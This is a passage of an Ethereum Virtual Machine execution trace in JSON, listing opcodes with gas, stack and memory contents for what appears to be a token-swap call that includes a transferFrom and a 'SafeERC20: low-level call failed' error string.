656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11909,"op":"JUMPDEST","gas":79358,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11910,"op":"PUSH1","gas":79357,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11912,"op":"JUMPDEST","gas":79354,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11913,"op":"PUSH1","gas":79353,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11915,"op":"DUP4","gas":79350,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11916,"op":"MLOAD","gas":79347,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11917,"op":"PUSH2","gas":79344,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11920,"op":"SWAP2","gas":79341,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x1","0x2","0x2e96"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11921,"op":"SWAP1","gas":79338,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11922,"op":"PUSH2","gas":79335,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":11925,"op":"JUMP","gas":79332,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15130,"op":"JUMPDEST","gas":79324,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15131,"op":"PUSH1","gas":79323,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15133,"op":"DUP3","gas":79320,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15134,"op":"DUP3","gas":79317,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0","0x2e96","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8